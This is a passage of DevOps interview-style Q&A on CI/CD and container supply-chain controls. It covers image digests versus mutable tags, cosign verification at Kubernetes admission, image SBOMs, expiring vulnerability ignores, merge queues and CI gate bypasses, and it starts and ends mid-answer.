- Chart. Container port 8080, Service maps 80 to 8080, and the security context sits at pod level so init containers and sidecars inherit it:
spec:
securityContext:
runAsNonRoot: true
runAsUser: 65532
runAsGroup: 65532
fsGroup: 65532
containers:
- name: app
ports: [{containerPort: 8080}]
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: {drop: ["ALL"]}
Service: port: 80, targetPort: 8080. Ingress or mesh terminates 443. Nothing outside the pod knows the process is on 8080.
- Two gates, one policy. The same rule runs in CI and at admission, so a PR and a running cluster agree.
| Gate | Where | Check | Failure |
|---|---|---|---|
| Image config | CI, pre-push | crane config $IMG | jq -r .config.User non-empty, not 0/root | job red |
| Manifest policy | CI (conftest or Kyverno CLI) | runAsNonRoot true, runAsUser != 0, no privileged, no escalation | job red |
| Admission | Kyverno or Gatekeeper | same rule, audit first then enforce | pod denied |
Roll admission out in audit mode for a week, read the violations, then enforce. Enforcing on day one blocks every other team's deploys.
- Record. The promote job writes the image digest, the policy version, and the rollback command next to the release. Digest, not tag:
:latestis not a rollback target.
Failure modes I would expect.
- The app writes to
/var/logor/app/tmpowned by root, so it dies with EACCES on the first request. Fix with--chownat build time or anemptyDirmounted at the writable path. - Mounted volumes need
fsGroup, or the process cannot write them. - If you genuinely must bind 80 in-process, add
CAP_NET_BIND_SERVICEto the container's capabilities; a non-root process with that capability in its effective set can bind low ports. Do not lean on Docker'snet.ipv4.ip_unprivileged_port_start=0default: a default Kubernetes pod's net namespace has it at 1024, so the bind fails with EACCES. - Rollback trap: once admission enforces non-root, rolling back to the previous root image is denied. Either keep a rebuilt non-root version of the last release, or have a documented break-glass that is logged.
How I would know it worked. kubectl exec deploy/app -- id prints uid=65532. A PR that deletes runAsNonRoot is red in CI before a human sees it. And the promote record names the digest that shipped.
Curated: · Written: · Reviewed:
Q&A-47A developer docker-pushed checkout:4.12 from a laptop and the cluster ran it. CI also produces 4.12. How do you tell them apart?
The 90-second answer
A tag is a mutable pointer; a digest is the image. Both pushes wrote a manifest named 4.12 and the registry kept whichever landed last, so the tag cannot separate them. Compare three things: the digest the cluster is actually running, the digest the tag resolves to right now, and the digest CI recorded when it built. Two of the three matching decides it.
kubectl get pod checkout-7d9f -o jsonpath='{.status.containerStatuses[0].imageID}'
# registry.example.com/checkout@sha256:a0c3...7e
crane digest registry.example.com/checkout:4.12
# sha256:a0c3...7e <- laptop pushed last; tag now points at its manifest
jq -r .containerimage.digest meta.json
# sha256:8b77...41 <- written by buildx --metadata-file in the CI job
Pod digest equals the current tag digest, and neither matches CI's record: the cluster is running the laptop's bits. If the pod digest equals CI's record, the laptop push never reached this pod, wherever the tag points now. Equal digests mean byte-identical content, so a match is conclusive in both directions; a mismatch means the running image is not the one CI produced.
One trap: buildx pushes a manifest list, so containerimage.digest is the index digest while the kubelet's imageID is the per-platform manifest digest. When the two strings differ, resolve the platform entry before concluding anything:
crane manifest registry.example.com/checkout:4.12 \
| jq -r '.manifests[] | select(.platform.architecture=="amd64").digest'
The follow-ups
A digest answers "which bits", not "who pushed". Builder identity comes from an attestation signed by the CI workflow's OIDC identity:
cosign verify-attestation --type slsaprovenance \
--certificate-identity-regexp '^https://github.com/acme/checkout/\\.github/workflows/release\\.yml@refs/heads/main$' \
--certificate-oidc-issuer https://token.actions.githubusercontent.com \
registry.example.com/checkout@sha256:8b77...41
If that fails for the digest the cluster is running, no CI build is accountable for those bits, and provenance plus subject digest is the only thing that says otherwise.
| Evidence | CI 4.12 | Laptop push |
|---|---|---|
| Tag digest now | sha256:8b77...41 (index: linux/amd64 + arm64) | sha256:a0c3...7e (single manifest) |
| Pod imageID | amd64 entry sha256:3d1f...c9 | sha256:a0c3...7e |
| Attestation subject | sha256:8b77...41, identity release.yml@refs/heads/main | none |
| Registry audit log | OIDC identity of the Actions job | engineer's robot/user account, PUT /v2/checkout/manifests/4.12 |
Where this bites:
- The kubelet resolves tag to digest once, at pull time. With
imagePullPolicy: IfNotPresenta pod keeps running the old digest after the tag moves; only a restart or a new rollout swaps the bits. "The tag was overwritten" does not by itself mean a running pod changed. - Overwriting the tag orphans CI's manifest. It stays addressable by digest only until the registry garbage-collects or an ECR lifecycle policy expires it. If the pipeline never recorded the digest outside the tag, the comparison becomes unrecoverable. Publish the digest into the deployment manifest and the attestation, both of which outlive the tag.
- A single-arch laptop push replaces a manifest list with a plain manifest, so arm64 nodes fail with "no matching manifest for linux/arm64 in the manifest list entries". That pull error is a cheap, reliable alarm.
- If the engineer's own credentials can push to the prod repository, none of the above prevents the swap; it only detects it after the fact.
Enforcement closes it. Give push on prod/checkout to the CI identity only (a registry robot account, an ECR IAM role), and verify at admission with Kyverno verifyImages or a sigstore policy-controller policy that the digest carries an attestation from that identity. The laptop push then gets 403 at the registry, and a copy that lands elsewhere still will not schedule. To recover from one that did land, pin the workload to CI's digest - kubectl set image deploy/checkout checkout=registry.example.com/checkout@sha256:8b77...41 - never back to 4.12.
Curated: · Written: · Reviewed:
Q&A-33GC deleted untagged images older than 7 days. Monday's rollback needed Friday's digest. What do you retain?
Retain every digest that has ever been promoted to production, plus the digest it replaced, and key retention on the digest, not the tag. Tags are mutable pointers; GC follows references, so a retag silently drops the old one.
Why Friday's digest vanished. GC collects manifests that no tag points at and that are older than the window. Friday you promoted sha256:aa11 and pointed :prod at it. Saturday's hotfix pushed sha256:bb22 and moved :prod to it. aa11 now has zero tag references, so it is untagged, and seven days later the collector deletes it. Monday's rollback pulls @sha256:aa11 and gets a 404. Nothing was misconfigured: the policy did exactly what it said.
What to do instead.
- On every promote, write the digest to an immutable retain list the GC reads, and tag it with a name that encodes date and digest:
prod-20260904-aa11. A tag that is never moved is a reference GC can see. - Keep the last N production digests regardless of age: 20 is a reasonable floor for a service that ships daily, 30 if you ship more than once a day. Age is the wrong axis; production history is the right one.
- Record the digest, the gate that ran, and the exact rollback command in the change record beside the promote job, so an incident can name the bits that shipped without archaeology.
# retain.txt — read by the GC job
sha256:aa11... # prod-20260904
sha256:bb22... # prod-20260905
| Digest | Promoted | Tag after Saturday | GC |
|---|---|---|---|
| aa11 | Fri | prod-20260904-aa11 (immutable) | retained |
| bb22 | Sat | prod-20260905-bb22, :prod | retained |
| cc33 | never prod | none | collected after 7d |
Cost. Thirty retained digests is not thirty images. Layers are content-addressed and shared; if a build changes one layer of a 400 MB image, the incremental storage is that layer, often 20–60 MB. Thirty digests of a typical service land in the low single-digit GB: cheaper than one bad rollback. (Figures illustrative.)
Alternatives, and when they're wrong.
- Time-based retention (what failed here): simple, but it deletes by age, and age says nothing about whether a digest was ever production.
- Tag-only retention: works until someone retags, force-pushes, or a CI job reuses
:latest. - Retain everything: safe, unbounded, and eventually the storage bill is the incident.
- A separate prod namespace with GC disabled and a lifecycle policy that only expires non-prod: the cleanest version of the same idea, if your registry supports per-namespace policy.
Failure modes. Multi-arch images have an index digest and per-platform manifest digests; roll back by the index digest you promoted, and make sure the retain list holds the index, not just a child. A pipeline that pushes :prod on every build untags the previous digest on every build: the same bug at higher frequency. And the retain list is read at GC time: if the promote job writes it after the GC run, you have a window where a fresh digest is unprotected.
Detection. A nightly job that pulls the last 30 production digests by digest and alerts on any 404, plus a GC dry-run diffed against the retain list: the dry-run must not list a retained digest. docker pull registry.example.com/app@sha256:aa11... returning 404 means the list and the collector disagree.
If you cannot pull last week's production, you do not have a rollback; you have a scavenger hunt.
Curated: · Written: · Reviewed:
Q&A-46The registry holds an unsigned digest and a signed one. Production pulled the unsigned because the tag moved. What do you verify?
Core answer (first 90 seconds)
The tag is not the artifact: verify the digest. Two digests in the registry means the tag moved, and production is running the one with no signature. So I verify what is actually running first, then whether the signed digest is the one I meant to ship.
-
What's running.
kubectl get pod <pod> -o jsonpath='{.status.containerStatuses[*].imageID}'returns...@sha256:<digest>. That is the digest the node pulled, not the tag in the manifest. If it equals the unsigned digest, an unverified artifact is serving traffic. -
Signature on that digest.
cosign verify <registry>/<repo>@sha256:<unsigned>fails: no signature. That confirms the finding instead of assuming it. -
Signature on the intended digest.
cosign verify --certificate-identity-regexp '^https://github.com/<org>/<repo>/.github/workflows/<wf>@.*$' --certificate-oidc-issuer https://token.actions.githubusercontent.com <repo>@sha256:<signed>proves the signed digest came from your builder, not just that some signature exists. -
The tag→digest move. The registry API or the Rekor entry for the signed digest gives the digest and the time it was signed; compare that against when the tag changed. That tells you whether the tag was overwritten before or after the promote.
Then the decision: the unsigned digest is untrusted; roll back to the signed digest by digest, not by tag.
Keyless vs stored key
Keyless (Fulcio + OIDC): the signing identity is the workflow, so verification binds to repo + workflow + issuer, and there is no long-lived private key to leak. Cost: signing needs Fulcio and Rekor reachable, and the Fulcio cert is short-lived (10 minutes), so verification relies on the Rekor entry and the Fulcio root bundle.
Stored key (KMS/HSM): works air-gapped with no external CA dependency. Cost: you own rotation, and the signature proves only "whoever holds the key", not which workflow, so identity binding is weaker.
Use keyless when CI has network and you want workflow identity. Use a stored key when the registry or CI is air-gapped, or when you must verify without reaching Fulcio/Rekor.
Failure modes
- Policy checks "a signature exists" but not identity → a different workflow's signature passes. Detect by asserting
--certificate-identityand--certificate-oidc-issuer, not just the exit code. - Verifying the tag, not the digest → TOCTOU: the tag moves between verify and pull. Detect by pinning the digest in the manifest and re-checking the running imageID.
- Admission verifies at deploy, the node pulls later → the node can pull a moved tag. Detect by comparing the running imageID to the admitted digest.
| Check | Source | Catches |
|---|---|---|
| tag→digest | registry API / Rekor | tag moved after promote |
| cosign verify running digest | cosign | unsigned artifact in prod |
| identity + issuer | cosign flags | signature from wrong workflow |
| running imageID | kubectl jsonpath | node pulled a different digest |
A signature without the expected identity is not your builder.
Curated: · Written: · Reviewed:
Q&A-48CI verifies cosign, then kubectl apply from a human bypassed GitOps. The unsigned image ran. Where must verify live?
Verify at admission, in the API server, fail-closed: on Pods, in every namespace that can run prod workloads.
CI is a path, not a control. cosign verify in a pipeline only sees writes that go through the pipeline. kubectl apply, kubectl set image, kubectl run, a chart applied from a laptop, a controller replaying a stale manifest: none of them touch CI, and all of them touch the API server. The API server is the only chokepoint every writer shares, so that is where the signature check has to live.
The request path makes it concrete:
kubectl apply -f pod.yaml
→ kube-apiserver
→ authentication (who: the human's cert/token)
→ authorization (RBAC) (may they create pods? yes — that's the hole)
→ mutating admission (Kyverno verifyImages rewrites tag → digest)
→ validating admission (webhook: cosign verify against the digest)
→ etcd
→ controller → kubelet → registry pull
CI appears nowhere in that chain. Admission does.
A Kyverno policy that does it (Kyverno 1.11+):
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-images
spec:
validationFailureAction: Enforce
rules:
- name: verify-cosign
match:
any:
- resources:
kinds: [Pod]
verifyImages:
- imageReferences: ["registry.example.com/*"]
attestors:
- entries:
- keyless:
issuer: "https://token.actions.githubusercontent.com"
subject: "https://github.com/acme/payments/.github/workflows/release.yaml@refs/heads/main"
Two defaults carry the weight. Kyverno installs its webhook with failurePolicy: Fail, and verifyImages mutates the image reference to the digest it verified. The mutation matters: if the Pod spec keeps a tag, the kubelet re-resolves that tag at pull time, and a re-pushed tag can pull bytes the webhook never saw. Pin the digest at admission and the pull is the same bytes.
Matching Pod covers everything, because every workload controller ends in a Pod that is itself admitted. Matching Deployment/StatefulSet too just moves the deny earlier, so the author sees it on the object instead of on a ReplicaSet stuck at 0 ready.
Failure modes, and how each shows up:
| Failure | What you see |
|---|---|
Webhook failurePolicy: Ignore | Unsigned pods run; webhook error metrics spike, deny counter flat |
| Namespace excluded from the policy | Denies everywhere except the one namespace someone deploys to |
Binary Authorization left in DRYRUN_AUDIT_LOG_ONLY | Policy "enforced", audit log full of violations, nothing blocked |
| Webhook cert expired | All admissions fail (Fail) or all pass (Ignore): watch cert expiry |
| Attestor subject glob too broad | Any workflow in the org can sign an image that passes |
Detection that doesn't depend on someone reading a dashboard: a CronJob every 15 minutes that tries to admit a known-unsigned image into a prod namespace and alerts if the API server accepts it. Same test as the drill, running continuously.
| Path | CI cosign | Admission verify |
|---|---|---|
| GitOps (Argo/Flux) | yes | yes: same webhook, no exemption |
kubectl set image | skipped | Pods denied; Deployment sits at 0 ready |
kubectl run debug pod | skipped | denied |
| Tag re-pushed after CI | verified the old digest | denied: digest pinned at admission |
Keep the CI check. It fails in 30 seconds instead of after a rollout, and it puts the message next to the author's diff. It just isn't the control.
I'd call it done when an unsigned image applied by a human holding prod RBAC is denied by the API server, the deny is in the audit log naming the policy, and the canary has been failing to admit for a week.
Curated: · Written: · Reviewed:
Q&A-34The SBOM job ran on the source repo and filed a CSV. Production was compromised via a base-image CVE that was not in the CSV. What should the SBOM describe?
The 90-second answer
The SBOM should describe the artifact that ran: the container image, keyed by its digest, with the base OS packages included. A repo-level SBOM describes the source tree, so it cannot see what the base image pulled in and will never contain the base-image CVE.
Generate the SBOM from the image that is promoted, not from the lockfile of a build, and bind it to the digest:
syft registry.example.com/app@sha256:<digest> -o spdx-json > sbom.spdx.json
cosign attest --predicate sbom.spdx.json --type spdxjson \
registry.example.com/app@sha256:<digest>
Then gate promote on that attestation existing for that digest. No attestation, no promote.
Why the source SBOM missed it
The repo lockfile lists npm packages. The base image (say debian:bookworm-slim) contributes openssl, libssl and glibc, none of which appear in the lockfile. The scanner that ran on the image found the CVE after production was already live.
| Source | npm pkgs | base openssl | Bound to digest |
|---|---|---|---|
| repo lockfile | yes | no | no |
| image syft | yes | yes | yes |
Where the source SBOM is still the right tool
The rule is not "image SBOM good, source SBOM bad". It is: match the SBOM to the question.
- License compliance: you need the full dependency graph, including dev dependencies and transitive build-time deps. A multi-stage build prunes those out of the runtime image, so the image SBOM cannot answer this.
- Dev-dependency and build-tool audit: test frameworks, linters and bundlers never ship in the image. Only the source SBOM sees them.
- Build provenance: what the source tree contained at build time, for reproducibility.
"What is running in production?" is answered by the image SBOM by digest. "What licenses do we ship, and what did we build from?" is answered by the source SBOM. Most orgs need both, and they answer different questions.
Failure modes
- SBOM generated at build time but not bound to a digest: a rebuild produces a different image and the SBOM drifts. Detect by comparing the SBOM's digest field to the running image digest and alerting on mismatch.
- Attestation exists but the scanner reads the wrong one: several attestations can hang off one digest. Detect by verifying predicate type and signer identity before trusting it.
- Base image referenced by a mutable tag: the digest changes underneath you and the SBOM goes stale. Detect by pinning by digest and alerting when tag resolution changes.
Before calling it done
For the production digest: an attestation exists, is signed, and lists base OS packages. A promote without it is red. The SBOM is stored as part of the change record, not written to a wiki afterwards.
Curated: · Written: · Reviewed:
Q&A-35CVE-2024-1234 is ignored in .trivyignore with no date. It is still ignored 14 months later. What is the control?
Core answer (first 90 seconds)
The control is not the ignore file: it is an expiry that CI enforces. .trivyignore is a plain list of CVE IDs; Trivy reads it and suppresses the finding, with no clock and no owner. A 14-month-old entry is not a Trivy bug, it is a missing control around Trivy: every suppression carries an owner and a date, and the pipeline fails when the date is missing or past. The date is what turns a permanent "we accept this" into a decision someone has to re-make.
Assumptions: Trivy is the scanner, the ignore file is committed to the repo, and the gate is "any unsuppressed HIGH/CRITICAL fails the build". If your gate is advisory-only, no lint will save you.
Mechanism
Trivy's YAML ignore format (.trivyignore.yaml) has an expired_at field: once that date passes, Trivy stops suppressing and the finding reappears. The plain-text .trivyignore has no such field, just IDs and # comments, so with that format the clock lives outside Trivy, in a lint step. Confirm your Trivy version supports the YAML format before relying on it.
Trade-offs
- Native
expired_atvs custom lint. Native is less code and the scanner enforces the expiry, but it only works if you migrate to YAML, and it only re-reports the finding: the build goes red only because your gate fails on findings. Custom lint works with plain text and can enforce owner, a maximum horizon, and a break-glass reference, but you own the parser, the timezone, and the CI clock. - Fix vs ignore. If the fix is a patch bump that passes tests, ignoring costs more than fixing. Ignoring is for when the fix breaks an API you cannot change this quarter, or the vulnerable path is unreachable, and then the honest artefact is a VEX statement, not a bare ID.
- When 90 days is wrong. For a critical, remotely-reachable CVE, 90 days is too long: days. For a CVE with no upstream fix and an unreachable path, 90 days just creates churn; use a longer horizon with a VEX justification. The horizon should track how fast you can actually remediate, not a round number.
Failure mode
The 14-month case: the entry outlived everyone who wrote it, the CVE became remotely exploitable, scans stayed green, and the first signal was an external advisory. Detection is the lint failing on a missing date; the runbook is "re-review, then either fix or re-date with a fresh justification".
Artefacts
.trivyignore entry | lint result | build |
|---|---|---|
CVE-2024-1234, no date | fail: no expired_at | red |
CVE-2024-1234, expired_at: 2026-09-30, owner in statement | pass | red after 2026-09-30 |
| critical CVE, no break-glass ticket referenced | fail | red |
# ignore_lint.py — run in CI against .trivyignore.yaml
import datetime, sys, yaml
MAX_DAYS = 90
today = datetime.date.today()
errors = []
for v in yaml.safe_load(open(".trivyignore.yaml")).get("vulnerabilities", []):
cid = v["id"]
exp = v.get("expired_at")
if not exp:
errors.append(f"{cid}: no expired_at")
continue
d = datetime.date.fromisoformat(str(exp))
if d < today:
errors.append(f"{cid}: expired {d}")
elif (d - today).days > MAX_DAYS:
errors.append(f"{cid}: horizon {(d - today).days}d > {MAX_DAYS}d")
if "owner:" not in v.get("statement", ""):
errors.append(f"{cid}: no owner in statement")
if errors:
print("\n".join(errors))
sys.exit(1)
Trace on the question's entry: expired_at is absent, so the loop appends CVE-2024-1234: no expired_at, errors is non-empty, and the process exits 1. The build fails. That is the fixture: an entry with no date must be red, and an entry dated yesterday must also be red.
What a strong candidate adds
Owner and date are the minimum; the useful extra is a break-glass path for critical CVEs that names the residual risk and the compensating control in the same ticket, so the exception is auditable rather than silent. An ignore without a clock is a policy of never.
Curated: · Written: · Reviewed:
Q&A-5PR #441 was green on Monday and merged on Thursday after main moved 40 commits. What did you fail to test?
The thing you failed to test is the merge commit. #441 was green against main as it stood Monday. On Thursday you shipped the combination of #441 and the 40 commits that landed in between, and nothing ever built that combination.
Assume the usual setup: CI runs on the PR branch, the branch was never rebased, and the merge button only checked that the last run was green. Under those assumptions the green check is a statement about main@A, not about what you shipped.
| Event | What was built | Result |
|---|---|---|
| Monday CI | pr441 on main@A | green |
| Thursday merge | pr441 on main@A+40 | never built |
| merge queue | merge commit of main@NOW and pr441 | would have run, and this is where a proto break shows up |
The mechanism is that git merges text, not meaning. If one of those 40 commits renamed a proto field and #441 still writes the old name, both diffs apply cleanly and the result doesn't compile, or worse, compiles and breaks checkout at runtime. A clean textual merge is not semantic compatibility.
So the fix is to test the merge result. Three ways, and they trade off differently.
Require branches to be up to date before merging. Cheapest, no new infrastructure. The cost is livelock: every merge invalidates every other open PR's green, so on a busy repo you rebase in a loop. Fine for a repo merging a handful of PRs a day.
Rebase-and-retest on the merge button. Same idea, but you re-run CI after the rebase instead of trusting the pre-rebase run. Costs one full CI run per merge and still serializes.
Merge queue. The queue builds the actual merge commit of current main plus your PR, and only merges if that's green. It's the only one of the three that tests what ships. The cost is queue latency: merges serialize, so throughput is bounded by CI duration divided by batch size. On a repo with a 40-minute suite and 30 merges a day, that's the difference between merging whenever and waiting in line. If your suite is two minutes and you merge twice a day, the queue is overhead you don't need: require-up-to-date is enough.
Failure modes worth naming: semantic conflicts like the proto rename; lockfile drift where two PRs each bump a different dependency; generated code checked in by one PR and regenerated by another; migration ordering. Detection is the queue going red before merge, or a post-merge smoke test and canary if you have no queue. A 22-minute checkout break is what it looks like when you have neither.
What would settle it: queue logs showing the tested SHA is a merge commit of current main, and a rejected merge when the PR's last green is older than the freshness window. 60 minutes is a reasonable starting point.
Green on an ancestor is not green on what you ship.
Curated: · Written: · Reviewed:
Q&A-6The team cuts a release branch every two weeks with 180 commits. How do you shrink what production has to absorb?
Core answer (first 90 seconds)
Assume the two-week branch is a release control, not a merge control: developers still merge to trunk continuously. The thing to shrink is the set of commits that reaches production in one promote, not the branch cadence itself.
Concretely: keep trunk as the integration point, gate production behind feature flags, and promote small batches several times a day. A release branch becomes the exception: cut one only when you need a signed artefact, and give it an expiry (48 hours) after which it merges back or is abandoned. Set a batch-size SLO, e.g. ≤15 production-bound commits per promote, and track median commits per promote over a rolling 28 days with a hard cap.
Why smaller batches shorten recovery
Three mechanisms, all about the suspect set:
- Diagnosis. When production breaks, the candidate commits are exactly the diff between the last good promote and the bad one. 180 commits means reading 180 diffs; 8 means reading 8.
- Bisection. Finding the culprit by binary search costs ceil(log2(n)) deploys. Over 180 commits that's 8 deploy-and-verify cycles; over 8 commits it's 3. At a hypothetical 15 minutes per cycle, that's roughly 2 hours versus 45 minutes.
- Rollback blast radius. Reverting a promote reverts everything in it. If one bad cache-key change sits in a 180-commit batch, the revert also removes 179 good changes, and you re-land them by hand.
Hypothetical figures, illustrative only:
| Mode | Commits/promote | Bisect steps | Suspect diffs to read |
|---|---|---|---|
| Fortnightly branch | 180 | 8 | 180 |
| Daily train | 22 | 5 | 22 |
| Trunk + flags, 6/day | 8 | 3 | 8 |
What to record per promote
Each promote should write a record next to the job: the commit digest (or tag), the gate that ran (test suite, canary result), and the exact rollback action. A revert SHA for code, a flag flip for behaviour. That record is what lets an incident name the bits that shipped. It belongs to the change, not a wiki page written afterwards.
Failure modes
- Flag debt. Flags without owners and expiry dates become permanent branches in config. Require an expiry and a removal ticket at creation.
- Flag evaluation as a new dependency. A flag-service outage can take down a path that code alone wouldn't. Cache last-known values and default to the safe branch.
- Rollback that isn't a rollback. Reverting code doesn't undo a schema migration or a flag flip already consumed downstream. Name which of the three you're doing.
- Promote tooling that can't name a batch. If the pipeline can't emit a digest, you've moved the problem, not solved it.
When not to do this
Regulated releases that require a signed, immutable artefact per release, or teams without flag infrastructure and a promote pipeline, should keep the branch but shorten it (weekly, then twice-weekly) rather than jumping to continuous promote. The SLO is the lever; the branch is just where you currently pay for it.
Curated: · Written: · Reviewed:
Q&A-8A flaky checkout spec has been skipped with xfail for 11 weeks. What policy makes quarantine something other than a junk drawer?
A quarantine is a ticket with an owner and an expiry date, and CI enforces the date. Everything else (the label, the wiki page, the weekly reminder) is decoration. The rule that makes it real is one line of pipeline: the build fails when a quarantine is past its expiry.
Assume pytest with xfail(strict=True) and a CI job that can run a script over the test tree. The marker carries the ticket and the date:
@pytest.mark.xfail(
strict=True,
reason="PAY-4412 flaky under parallel checkout; expires 2026-06-02",
)
def test_checkout_retries_on_gateway_timeout(): ...
A CI step greps every xfail reason for expires YYYY-MM-DD and fails the build if any date is in the past or absent. strict=True matters: it turns an unexpected pass into a failure, so a fixed test cannot sit quarantined and green forever. Without the parse step, xfail is a skip with extra ceremony.
Quarantine is one of four tools, and it is the wrong one more often than people admit:
| Option | What it costs | When it is right |
|---|---|---|
| Retry budget (rerun failures N times) | Hides the flake, no owner, no date | Never as a policy; only to absorb known infra jitter |
| Split suite (quarantine a whole file or directory) | Coarse: loses coverage for every test in the file | The flake is genuinely in shared setup, not one spec |
| Delete and rewrite | Coverage gap until rewritten | The test has been quarantined twice, or it guards a payment path |
| Quarantine with expiry | Needs CI enforcement and a human owner | A real spec, a known cause, a fix scheduled inside two weeks |
Two criteria decide against quarantine. If the spec has already been quarantined once, delete it: a second quarantine is a rewrite you are avoiding. If the flake lives in a fixture or the database, quarantine the fixture, not the spec, or you will quarantine every test that touches it.
The failure this prevents is specific. Eleven quarantined specs hid a payment regression for nine days; the suite reported green at 94% of the tests the team believed it had. Nobody had looked at the quarantine list because nothing forced them to.
So the ledger is the artefact, and it is generated, not written by hand:
| Spec | Owner | Expiry | Age |
|---|---|---|---|
checkout_spec:88 | payments | 2026-06-02 | 11 weeks: CI should have failed |
search_spec:14 | search | 2026-05-30 | 6 days |
search_spec:22 | search | 2026-05-30 | 6 days |
Three open quarantines, all under eight days, against ~2000 specs. That is a healthy number; a list that grows past a handful means the policy is being used as a parking lot.
Track the count as a DORA-style input next to change failure rate, not as a badge. The evidence that the policy works is two things: a report of open quarantines with ages, and a pipeline check that fails the build when any expiry is in the past. A skip without an expiry is a deleted test with extra ceremony.
Curated: · Written: · Reviewed:
Q&A-11A 40-package monorepo runs every test on every PR (41 minutes). Skipping by git diff broke a shared library. How do you select work without lying?
In the first minute. I'd define the job precisely: run the tests of every package whose behaviour could change, and when you cannot compute that set, run everything. The selector is the declared dependency graph, not the list of changed files. Your git-diff selector did exactly what it was told, it ran lib/payments tests, and it lied, because a library change reaches its consumers and the diff never mentions checkout. So use a graph-aware build tool (Bazel, Nx, Gradle, Pants, whichever already understands your repo) ask it for the transitive closure of dependents, and run the closure plus the changed packages themselves. Unknown package, unparseable graph, missing manifest: fall back to all 40 packages, the full 41 minutes. Then write the selector's output next to the promote step (changed packages, computed run set, graph revision, whether you fell back) so the artifact of record shows what ran, not what you intended to run.
Assumptions I'd state up front. Packages declare their dependencies in a machine-readable manifest and the graph tool reads that, not a hand-maintained list someone updates after the fact. Tests are addressable per package. The build graph and the test graph are the same graph; where they diverge, that divergence is the bug.
The mechanism, walked. A change lands in lib/payments:
- changed: lib/payments
- direct dependents: checkout, bff
- second-hop dependents: none
- run set: lib/payments, checkout, bff
- anything the graph cannot place: run everything, fail closed
Diff-based selection stops after step 1. The graph walk continues until the closure comes back empty, and that is the entire difference. It also explains why the selector has to own both the build edges and the test edges: if the test runner has its own idea of what depends on what, you have two graphs and only one of them is right.
| Selector | Packages run | What happens on a tax-rounding change in lib/payments |
|---|---|---|
| git diff | lib/payments | CI passes, checkout overcharges orders |
| graph closure | lib/payments, checkout, bff | checkout's rounding test fails, PR blocked |
| graph unparseable, fail closed | all 40 | 41 minutes, correct |
What the saving actually is. You cannot divide 41 minutes by 40 packages. Suite duration is wildly uneven: profile it and you will usually find a handful of packages eating most of the wall clock. The defensible claim is the measured one: "the closure of a typical change is small," backed by the distribution of run-set sizes, not by arithmetic on the package count. The cost on the other side is one escaped defect. The case below is a composite with illustrative numbers, not a real incident log.
Concrete case: a rounding change inside lib/payments, CI scoped by diff, only the library's own tests executed, checkout's tax tests never ran, the change merged, and 4,200 orders were overcharged before anyone noticed. Green meant "the subset we chose passed." That gap between what green claims and what it verified is the lying the question is about, and no number of extra pipeline stages closes it.
Failure modes and how I'd catch them.
Graph drift: a dependency exists in a build file but not in the manifest the selector reads. Catch it with a scheduled full-suite run on main, nightly or every N-th merge, and alert when it exercises a package that selection has been skipping. Also assert that a no-op PR computes an empty run set; if it does not, the graph is noisy and the whole signal is suspect.
Over-selection: harmless for correctness, expensive for lead time. Track the run-set size distribution and the share of PRs taking the full-suite path. A rising fallback rate means the graph is rotting and someone is about to "fix" it by loosening the selector.
Test selection inside a package, running only the tests whose lines changed, is a sharper version of the same lie. If you use it at all, keep it inside one package, never across a package boundary.
Staleness against main. You compute the closure on the PR head but merge onto a newer main, so the set you tested is not the set you shipped. A merge queue that recomputes the closure against the merge commit, and re-runs it, is what makes the selection trustworthy at the moment of merge.
Curated: · Written: · Reviewed:
Q&A-4integration is required, but a push with [skip ci] still landed on main. How did the gate fail, and what makes it real?
Assumptions: GitHub Actions, main protected by a branch protection rule or a ruleset, and the required check is named integration. GitLab and CircleCI honour the same [skip ci] directive, so the shape carries over.
The 60-second answer. [skip ci] is a trigger-level directive: it stops the CI provider from creating a workflow run for that push, so no check run is ever created for that SHA. Required status checks are matched by name against the head commit of a pull request. A check that was never created is Expected, not passed, so a PR cannot merge through the gate. If the push landed on main anyway, the gate was never in that path: either the pusher had bypass, or the required check was being satisfied by something other than the integration job. [skip ci] didn't defeat the gate; it exposed that the gate wasn't gating that path.
Why the check disappears. Trace a push:
commit msg: "chore: bump chart [skip ci]"
-> push event to refs/heads/main
-> Actions sees [skip ci] in the head commit message
-> no workflow run is created
-> no check run is created for that SHA
-> required check "integration" is Expected, never Success
GitHub Actions honours [skip ci], [ci skip], [skip actions] and [actions skip] in the commit message or PR title for push and pull_request events, and there is no per-workflow opt-out. Any required check produced by a workflow that a commit message can suppress is a suggestion, not a gate.
How the push lands anyway.
| Path | What happened | Gate real? |
|---|---|---|
| Direct push by an admin or bypass actor | Protection not enforced on that actor | No |
| Ruleset in Evaluate mode | Reports, doesn't block | No |
| Required check satisfied by a no-op reporter | Path filter skipped integration, reporter posted success | No |
Merge queue running on merge_group | Check ran on the merge commit; [skip ci] only in the PR head | Yes |
What makes it real. Three properties, all checkable:
- The required check runs on the merge commit, not on a commit whose message can suppress it. A merge queue that runs workflows on
merge_groupgives you this: GitHub generates the merge commit and attaches the check to it. - No bypass.
enforce_adminsis true and the ruleset bypass list is empty except a named break-glass app that pages when used. - The check runs integration. A reporter that exits 0 when paths don't match is a fake gate.
Verify with the API, not with a wiki page written afterwards:
# every commit on main in the last 200 has a completed, successful integration check
gh api "repos/$R/commits?sha=main&per_page=100" --jq '.[].sha' | while read sha; do
gh api "repos/$R/commits/$sha/check-runs" \
--jq '[.check_runs[] | select(.name=="integration" and .conclusion=="success")] | length'
done | sort -u # must print only "1"
# nobody can bypass
gh api "repos/$R/branches/main/protection" --jq '.enforce_admins.enabled' # true
gh api "repos/$R/rulesets" --jq '.[] | {name, bypass_actors}' # empty
Failure modes. The one that bites is a path-filtered reporter that posts success on a no-match: a Helm values change under charts/ matched a docs/** filter, the reporter posted success, and 11 commits shipped without the integration job. Detection is the loop above: a commit on main with no integration check run, or one whose conclusion is skipped or neutral. Neither of those is evidence the suite ran, so assert on success specifically rather than on "a check exists".
A missing status is not a pass. If it merged anyway, someone or something had a bypass, and that is the thing to fix before the next push.
Curated: · Written: · Reviewed:
Q&A-7CI runs unit tests only when src/** changes. A change to terraform/modules/network shipped without the integration job. What is the rule?
The rule: path filters fail closed. The default is that the integration job runs; skipping it is an explicit, reviewed allowlist of paths that provably cannot change what ships. src/** is one input to the gate, not the gate itself.
Assumptions: GitHub Actions-style on: pull_request path filters, the integration job is what would have caught the network change, and terraform apply runs from main after merge.
Why the current setup is wrong: paths: ['src/**'] is a denylist wearing an allowlist's clothes. You enumerate what runs, so every path you didn't think of (terraform, Helm charts, OPA policies, the workflow files themselves) silently skips. The failure is silent: no job runs, so nothing reports red.
Invert it: paths-ignore with a short allowlist:
